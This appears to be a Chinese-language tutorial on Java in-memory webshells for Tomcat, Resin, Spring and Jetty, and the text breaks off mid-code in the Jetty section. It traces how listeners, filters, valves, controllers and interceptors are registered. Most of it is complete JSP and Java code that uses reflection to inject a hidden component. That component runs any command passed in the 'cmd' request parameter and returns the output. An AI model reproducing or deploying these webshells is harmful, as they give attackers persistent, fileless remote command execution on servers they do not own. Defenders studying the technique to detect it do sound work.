tomcat listener
ContextConfig.java

从web.xml后去所有Listener并注册,通过addApplicationListener方法,看一下这个方法。


也就是将监听器加到applicationListeners里面完成动态添加。
看一下listener的调用流程



可以看到就是通过getApplicationEventListeners获取一个listener信息
根据applicationEventListenersList这个变量可以找到方法addApplicationEventListener用于添加listener

所以反射调用这个方法即可实现动态添加内存马,写一个简单的listener内存马
package org.example.demo1;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;
public class listener1 implements ServletRequestListener {
public listener1() {
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
RequestFacade req = (RequestFacade) sre.getServletRequest();
Field reqfield = RequestFacade.class.getDeclaredField("request");
reqfield.setAccessible(true);
Request request = (Request) reqfield.get(req);
Response response = (Response) request.getResponse();
if (request.getParameter("cmd") != null) {
InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
} catch (Exception e) {
}
}
}
然后把这个listener通过addApplicationEventListener添加到StandardContext
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="java.util.Scanner" %>
<%
ServletContext context1=pageContext.getServletContext();
System.out.println(context1.getClass().getName());
Field field1=context1.getClass().getDeclaredField("context");
field1.setAccessible(true);
ApplicationContext context2= (ApplicationContext) field1.get(context1);
System.out.println(context2.getClass().getName());
Field field2=context2.getClass().getDeclaredField("context");
field2.setAccessible(true);
StandardContext context3= (StandardContext) field2.get(context2);
System.out.println(context3.getClass().getName());
class Listener1 implements ServletRequestListener {
public Listener1() {
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
RequestFacade reqfacade = (RequestFacade) sre.getServletRequest();
Field reqfield = RequestFacade.class.getDeclaredField("request");
reqfield.setAccessible(true);
Request request = (Request) reqfield.get(reqfacade);
Response response = (Response) request.getResponse();
if (request.getParameter("cmd") != null) {
InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
} catch (Exception e) {
}
}
}
context3.addApplicationEventListener(new Listener1());
%>
1.获取ServletContext
2.获取StandardContext
3.调用addApplicationEventListener添加恶意listener
tomcat filter
filter是通过filter chain实现的,如果又filter拦截器,必须先经过拦截器才能到达servlet

写个demo分析调用栈
package org.example.demo1;
import jakarta.servlet.*;
import java.io.IOException;
public class filter1 implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("do filter1");
chain.doFilter(request, response);
}
@Override
public void destroy() {
Filter.super.destroy();
}
}
添加web.xml
<filter>
<filter-name>filter1</filter-name>
<filter-class>org.example.demo1.filter1</filter-class>
</filter>
<filter-mapping>
<filter-name>filter1</filter-name>
<url-pattern>/filter1</url-pattern>
</filter-mapping>
断到chain.doFilter(request, response);

会调用ApplicationFilterChain 的doFilter方法,然后走到this.internalDoFilter(request, response);
也就是ApplicationFilterChain#internalDoFilter


然后调用filter.doFilter,首先是tomcat自带的filter,然后调用filter chain 的doFilter


之后又回到了 ApplicationFilterChain#doFilter
也就是说,上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;这也就是我们的 Filter 链,是去逐个获取的。最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。
然后看一下filter是如何被加载的。

可以从StandardWrapperValue#invoke开始看

这里会创建一个filterChain

这里就是判断 FilterMaps 是否为空,为空就会调用context.findFilterMaps()从StandardContext寻找并且返回一个FilterMap数组。
然后遍历StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()、matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。
那么攻击点在于context.findFilterMaps(),依旧是StandardContext这个类

StandardContext里面又三个变量和Filter相关
filterMaps
filterDefs
filterConfigs
filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系,也就是web.xml里面的filter-mapping标签。
filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据。其中filterDef就是对应web.xml中的filter标签.
filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。
我们只需要构造含有恶意的 filter 的 filterConfig 和拦截器 filterMaps,就可以达到触发目的.
在StandardContext#filterStart中,可以看到可以通过this.filterConfigs.put(name, filterConfig);添加filterConfigs
public boolean filterStart() {
if (this.getLogger().isTraceEnabled()) {
this.getLogger().trace("Starting filters");
}
boolean ok = true;
synchronized(this.filterDefs) {
this.filterConfigs.clear();
Iterator var3 = this.filterDefs.entrySet().iterator();
while(var3.hasNext()) {
Map.Entry<String, FilterDef> entry = (Map.Entry)var3.next();
String name = (String)entry.getKey();
if (this.getLogger().isTraceEnabled()) {
this.getLogger().trace(" Starting filter '" + name + "'");
}
try {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
this.filterConfigs.put(name, filterConfig);
} catch (Throwable var9) {
Throwable t = var9;
Throwable throwable = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(throwable);
this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), throwable);
ok = false;
}
}
return ok;
}
}
所以filter内存马的构造思路如下
1.获取当前的ServletContext
2.通过ServletContext获取filterConfigs
3.自定义实现恶意 filter
4.为恶意filer创建一个FilterDef
5.将filter添加到filterConfigs即可完成内存马的实现
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Method" %>
<%
final String name = "filter1";//随便起
//Filter马
Filter maFilter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
if (req.getParameter("cmd") != null) {
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
return;
}
chain.doFilter(request, response);
}
@Override
public void destroy() {
Filter.super.destroy();
}
};
//构造filterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//构造filterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilter(maFilter);
filterDef.setFilterClass(maFilter.getClass().getName());
//找StandardContext,下边构造构造filterConfig、修改filterConfigs和filterMaps要用。
ServletContext servletContext = pageContext.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext appc = (ApplicationContext) context.get(servletContext);
System.out.println(appc.getClass().getName());
Field context2 = ApplicationContext.class.getDeclaredField("context");
context2.setAccessible(true);
StandardContext stc = (StandardContext) context2.get(appc);
System.out.println(stc.getClass().getName());
//构造filterConfig,构造方法不是public只能反射
Constructor filterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
filterConfigConstructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) filterConfigConstructor.newInstance(stc, filterDef);
//反射获取filterConfigs
Field filterConfigs = stc.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
Map flcs = (Map) filterConfigs.get(stc);
flcs.put(name, filterConfig);
Field filterMaps = stc.getClass().getDeclaredField("filterMaps");
filterMaps.setAccessible(true);
Object fltmps = filterMaps.get(stc);
Class filterMapsClass = fltmps.getClass();
Method filterMapsAdd = filterMapsClass.getDeclaredMethod("addBefore", FilterMap.class);
filterMapsAdd.setAccessible(true);
filterMapsAdd.invoke(fltmps, filterMap);
%>

Resin filter
Resin filter与Tomcat filter类似,就是获取上下文对象有点区别,Resin 通过反射获取线程中的ServletInvocation,使用它的getContextRequest方法,获取上下文对象,再通过它的实现HttpServletRequestImpl的getWebApp方法获取webApp
<%@ page import="com.caucho.server.webapp.WebApp" %>
<%@ page import="com.caucho.server.dispatch.FilterConfigImpl" %>
<%@ page import="com.caucho.server.dispatch.FilterMapping" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.caucho.server.dispatch.FilterMapper" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%
ClassLoader classloader = Thread.currentThread().getContextClassLoader();
Class servletInvocationClazz = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation");
Class filterConfigImplClazz = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl");
Class filterMappingClazz = classloader.loadClass("com.caucho.server.dispatch.FilterMapping");
Class filterMapperClazz = classloader.loadClass("com.caucho.server.dispatch.FilterMapper");
Object contextRequest = servletInvocationClazz.getMethod("getContextRequest").invoke(null);
WebApp webapp = (WebApp) contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest);
//判断是否已经注入
String evilFilterName = "EvilFilter";
if (webapp.getFilterRegistration(evilFilterName) != null) {
out.println("Resin FilterMemShell Injected!!");
return;
}
//创建并添加 filterConfigImpl 实例
Filter evilFilter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("EvilFilter 初始化");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("EvilFilter 进行过滤");
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
Process process = Runtime.getRuntime().exec(req.getParameter("cmd"));
BufferedReader bf = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder result = new StringBuilder();
String line;
while ((line = bf.readLine()) != null) {
result.append(line).append("</br>");
}
servletResponse.getWriter().write(result.toString());
process.destroy();
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
System.out.println("EvilFilter 销毁");
}
};
Class newFilterClazz = evilFilter.getClass();
FilterConfigImpl filterConfigimpl = (FilterConfigImpl) filterConfigImplClazz.newInstance();
filterConfigimpl.setFilterName(evilFilterName);
filterConfigimpl.setFilter(evilFilter);
filterConfigimpl.setFilterClass(newFilterClazz);
webapp.addFilter(filterConfigimpl);
//创建相应 filter 路由映射
FilterMapping filterMapping = (FilterMapping) filterMappingClazz.newInstance();
FilterMapping.URLPattern filterMappingUrlPattern = filterMapping.createUrlPattern();
filterMappingUrlPattern.addText("/*");
filterMappingUrlPattern.init();
filterMapping.setFilterName(evilFilterName);
filterMapping.setServletContext(webapp);
//设置filterMapper
Field fieldWebappFilterMapper;
try {
fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper");
} catch (NoSuchFieldException Exception) {
try {
fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper");
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
}
}
fieldWebappFilterMapper.setAccessible(true);
FilterMapper filtermapper = (FilterMapper) fieldWebappFilterMapper.get(webapp);
Field fieldFilterMapperFilterMap = filterMapperClazz.getDeclaredField("_filterMap");
fieldFilterMapperFilterMap.setAccessible(true);
//把EvilFilter放到首位
ArrayList<FilterMapping> newFilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(filtermapper);
newFilterMappings.add(0,filterMapping);
fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings);
fieldWebappFilterMapper.set(webapp, filtermapper);
out.println("Resin FilterMemShell Inject Success!!");
%>
tomcat valve
在tomcat中,从请求到处理需要经过四类容器,而消息在这四个容器里面的传输是通过管道Pipeline和阀门Valve来实现的。具体如下图

Basic是管道中最基础的Valve,位于管道末尾,它在业务上面的表现是封装了具体的请求处理和输出响应。和Filter类似,可以在管道中添加valve,通过addValve。
Tomcat四大组件Engine、Host、Context和Wrapper都有其对应Valve类,分别是:
StandardEngineValveStandardHostValveStandardContextValveStandardWrapperValve
写一个简单的阀,他继承ValveBase
package org.example.demo1;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServletRequest;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;
import java.io.IOException;
public class valve1 extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
HttpServletRequest req = request.getRequest();
String cmd = req.getParameter("cmd");
if (cmd != null){
Runtime.getRuntime().exec(cmd);
}
}
}
然后想办法添加到Context

查找addValve的实现类

找到StandardPipeline#addValve
然后是需要知道如何获取StandardPipeline

正好StandardContext存在getPipeline方法,后面也就跟listener,filter类似,步骤如下
1.获取StandardContext
2.编写恶意Valve
3.通过getPipeline().addValve()注册Valve
然后后面恶意代码直接在Valve的invoke实现即可
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%
class valve1 extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
HttpServletRequest req = request.getRequest();
String cmd = req.getParameter("cmd");
if (cmd != null){
Runtime.getRuntime().exec(cmd);
}
}
};
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request req = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Pipeline pipeline = standardContext.getPipeline();
valve1 valve1 = new valve1();
pipeline.addValve(valve1);
%>

Spring controller
贴个图先 Spring MVC的控制流程

当服务端接收到客户端的请求后,会调用HandlerMapping找对应的Controller处理逻辑。其实这个HandlerMapping是指RequestMappingHandlerMapping。Spring会把Controller解析成RequestMappingInfo对象,然后再注册进RequestMappingHandlerMapping中。所以注册Controller内存马需要获取RequestMappingHandlerMapping,然后向其中注册恶意 Controller。
首先是如何获取上下文,有四种方法
1.getCurrentWebApplicationContext
WebApplicationContext context1 = ContextLoader.getCurrentWebApplicationContext();
getCurrentWebApplicationContext 获得的是一个 XmlWebApplicationContext 实例类型的 Root WebApplicationContext。
2.WebApplicationContextUtils
WebApplicationContext context2 = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
通过这种方法获得的也是一个Root WebApplicationContext。其中 WebApplicationContextUtils.getWebApplicationContext 函数也可以用 WebApplicationContextUtils.getRequiredWebApplicationContext来替换。
3.RequestContextUtils
WebApplicationContext context3 = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
通过 ServletRequest 类的实例来获得 Child WebApplicationContext
4.getAttribute
WebApplicationContext context4 = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
Spring 2.5 开始到 Spring 3.1 之前一般使用org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping注册映射路由
Spring 3.1 开始及以后一般开始使
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping来支持@Contoller和@RequestMapping注解
RequestMappingHandlerMapping注册恶意控制器流程如下
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("evilMethod").getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("恶意Controller").newInstance(), method);
在其父类 AbstractHandlerMapping中其实还有一个方法可以用来注册路由映射–detectHandlerMethods
protected void detectHandlerMethods(final Object handler) {
Class<?> handlerType =
(handler instanceof String ? getApplicationContext().getType((String) handler) : handler.getClass());
// Avoid repeated calls to getMappingForMethod which would rebuild RequestMappingInfo instances
final Map<Method, T> mappings = new IdentityHashMap<Method, T>();
final Class<?> userType = ClassUtils.getUserClass(handlerType);
Set<Method> methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter() {
@Override
public boolean matches(Method method) {
T mapping = getMappingForMethod(method, userType);
if (mapping != null) {
mappings.put(method, mapping);
return true;
}
else {
return false;
}
}
});
for (Method method : methods) {
registerHandlerMethod(handler, method, mappings.get(method));
}
}
逻辑为接受一个任意类型的 handler 参数,然后在 IOC 容器中找寻这个名字 bean 进行注册
DefaultAnnotationHandlerMapping注册Controller流程如下
protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException {
Assert.notNull(urlPath, "URL path must not be null");
Assert.notNull(handler, "Handler object must not be null");
Object resolvedHandler = handler;
// Eagerly resolve handler if referencing singleton via name.
if (!this.lazyInitHandlers && handler instanceof String) {
String handlerName = (String) handler;
ApplicationContext applicationContext = obtainApplicationContext();
if (applicationContext.isSingleton(handlerName)) {
resolvedHandler = applicationContext.getBean(handlerName);
}
}
Object mappedHandler = this.handlerMap.get(urlPath);
if (mappedHandler != null) {
if (mappedHandler != resolvedHandler) {
throw new IllegalStateException(
"Cannot map " + getHandlerDescription(handler) + " to URL path [" + urlPath +
"]: There is already " + getHandlerDescription(mappedHandler) + " mapped.");
}
}
else {
if (urlPath.equals("/")) {
if (logger.isTraceEnabled()) {
logger.trace("Root mapping to " + getHandlerDescription(handler));
}
setRootHandler(resolvedHandler);
}
else if (urlPath.equals("/*")) {
if (logger.isTraceEnabled()) {
logger.trace("Default mapping to " + getHandlerDescription(handler));
}
setDefaultHandler(resolvedHandler);
}
else {
this.handlerMap.put(urlPath, resolvedHandler);
if (logger.isTraceEnabled()) {
logger.trace("Mapped [" + urlPath + "] onto " + getHandlerDescription(handler));
}
}
}
}
低版本Spring已不常用,主要针对RequestMappingHandlerMapping方式进行攻击
package com.example.demo;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;
@Controller
public class evilController {
@RequestMapping("/controller1")
@ResponseBody
public String Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {
System.out.println("i am in");
// 获取当前上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 手动注册Controller
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = controller1.class.getDeclaredMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 注意:这里将 new Controller_Shell() 改为 new controller1(),
// 因为你的代码中只定义了 controller1 这个内部类。
r.registerMapping(info, new controller1(), method);
return "controller inject success";
}
public class controller1 {
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
}
}


Spring Interceptor
可以理解为Tomcat里面的filter,可以拦截过滤用户请求。实现自定义的Interceptor有两种方法
1.实现HandlerInterceptor接口或者继承该接口的实现类
2.实现WebRequestInterceptor或继承它的实现类
HandlerInterceptor

HandlerInterceptor接口有三个方法,分别是在处理请求前,处理请求后处理视图前,处理视图之后执行,都可以用来写内存马

WebRequestInterceptor同理
测试一下HandlerInterceptor#preHandle

在处理请求前获取cmd参数执行命令

看下调用栈
preHandle:16, myinterceptor (com.example.demo)
applyPreHandle:151, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:1035, DispatcherServlet (org.springframework.web.servlet)
doService:943, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:626, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:733, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:542, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:143, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:374, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:893, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1707, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
先经过Tomcat的filter,然后发给SpringMVC的DispatcherServlet处理
在doDispatch里面调用了getHandler


调试发现进入了AbstractHandlerMapping#getHandler

然后调用AbstractHandlerMapping#getHandlerExecutionChain

显示找到路由的handler然后循环添加interceptor


然后回去执行applyPreHandle

循环执行每个interceptor的preHandle方法,恶意代码在这里被调用,后面就是执行handler了。
然后分析下如何注册一个interceptor内存马。
经上面interceptor触发分析可知,interceptor从mappedInterceptors获取根据路由寻找 添加到chain里,所以反射将内存马注册进去即可。
获取applicationContext跟controller一样,有四种方法
package com.example.demo;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
@RestController
public class inject {
@RequestMapping("/inject")
@ResponseBody
public String inject(){
try{
// 获取context
WebApplicationContext applicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 从context中获得 AbstractHandlerMapping 的实例
AbstractHandlerMapping abstractHandlerMapping = applicationContext.getBean("requestMappingHandlerMapping", AbstractHandlerMapping.class);
// 反射获取 adaptedInterceptors 字段用于注册拦截器
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (ArrayList) field.get(abstractHandlerMapping);
//实例化恶意拦截器并注册
myinterceptor ic = new myinterceptor();
adaptedInterceptors.add(ic);
return "inject success";
}catch(Exception e){
e.printStackTrace();
}
return null;
}
@RequestMapping("/test")
@ResponseBody
public String test(){
try{
// 获取context
return "test";
}catch(Exception e){
e.printStackTrace();
}
return null;
}
}
package com.example.demo;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.util.Scanner;
public class myinterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String url = request.getRequestURI();
PrintWriter writer = response.getWriter();
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
}


Jetty filter
环境搭建参考
在servlet处下断点,运行一下看调用栈

主要看filter的逻辑

跟tomcat 一样,也是会调用一个chain的doFilter,看一下chain如何获取,是ServletHandler#getFilterChain

protected FilterChain getFilterChain(Request baseRequest, String pathInContext, ServletHolder servletHolder)
{
Objects.requireNonNull(servletHolder);
String key = pathInContext == null ? servletHolder.getName() : pathInContext;
int dispatch = FilterMapping.dispatch(baseRequest.getDispatcherType());
if (_filterChainsCached)
{
FilterChain chain = _chainCache[dispatch].get(key);
if (chain != null)
return chain;
}
// Build the filter chain from the inside out.
// ie first wrap the servlet with the last filter to be applied.
// The mappings lists have been reversed to make this simple and fast.
FilterChain chain = null;
if (_filterNameMappings != null && !_filterNameMappings.isEmpty())
{
if (_wildFilterNameMappings != null)
for (FilterMapping mapping : _wildFilterNameMappings)
chain = newFilterChain(mapping.getFilterHolder(), chain == null ? new ChainEnd(servletHolder) : chain);
List<FilterMapping> nameMappings = _filterNameMappings.get(servletHolder.getName());
if (nameMappings != null)
{
for (FilterMapping mapping : nameMappings)
{
if (mapping.appliesTo(dispatch))
chain = newFilterChain(mapping.getFilterHolder(), chain == null ? new ChainEnd(servletHolder) : chain);
}
}
}
if (pathInContext != null && _filterPathMappings != null)
{
for (FilterMapping mapping : _filterPathMappings)
{
if (mapping.appliesTo(pathInContext, dispatch))
